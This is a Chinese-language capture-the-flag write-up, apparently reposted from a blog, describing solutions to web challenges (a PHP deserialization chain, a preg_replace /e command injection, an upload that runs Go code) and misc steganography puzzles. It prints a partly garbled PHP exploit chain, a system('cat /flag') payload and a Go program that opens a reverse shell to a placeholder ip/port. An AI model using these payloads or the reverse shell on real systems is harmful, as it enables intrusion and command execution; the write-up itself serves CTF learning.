2023-06-05 12:42:00 來(lái)源：博客園
(資料圖片)
前言
早寫好了，忘發(fā)了，題目質(zhì)量還行，夠我坐大牢
ezpop
簡(jiǎn)單的反序列化，exp如下
night = $d1;$d1->day = $d;$d->dark = $l;$l->light = $d2;$d2->day = $d3;$d3->dark = "php://filter/read=convert.base64-encode/resource=/flag";echo serialize($n);?>傳參這有個(gè)坑，用了Unicode編碼，得copy下來(lái)進(jìn)行url編碼才能傳參，不知道這么干有什么意義，還得繞過(guò)Exception,把變量數(shù)改一下就能繞過(guò)了，跟繞wakeup一樣
ezrce
preg_replace采用了/e的模式，很明顯有rce漏洞，簡(jiǎn)單的測(cè)試了一下，不能用數(shù)字等等，這waf有點(diǎn)牛逼，采用無(wú)參rce直接讀flag就行了，name得含有hahaha
unserialize
非預(yù)期，?a=system ("cat /flag");就能讀flag
test
查看頁(yè)面源代碼，發(fā)現(xiàn)/profile/index這個(gè)路由，訪問(wèn)一下返回一個(gè)result，啥也沒有，仿問(wèn)/profile/admin，返回了密碼，MD5解密一下asdfgh123admin登錄進(jìn)去，提示上傳個(gè)go文件，就會(huì)運(yùn)行，構(gòu)造一個(gè)上傳數(shù)據(jù)包，go文件如下:
package mainimport ( "fmt" "log" "os/exec")func main() { cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/ip/port 0>&1") out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n", string(out)) log.Fatalf("cmd.Run() failed with %s\n", err) } fmt.Printf("combined out:\n%s\n", string(out))}反彈shell，拿到flag
Misc
管道
zsteg -a 管道.png | grep "flag"
可是雪啊飄進(jìn)雙眼
第一步hint.wav，藏了摩斯密碼，解密出來(lái)是WOAISHANXI,snow.txt，snow解密，snow.exe -p WOAISHANXI -C snow.txt,拿到密碼shanxiroujiamo,解開壓縮包，兩張圖片，key.jpg與hide.jpg, binwalk -e key.jpg提取出一個(gè)壓縮包，里面有張圖片，跟key.jpg的密文相對(duì)應(yīng)，一一對(duì)照拿到密碼BC1PVEYD, steghide解hide.jpg即可拿到flag
關(guān)鍵詞：
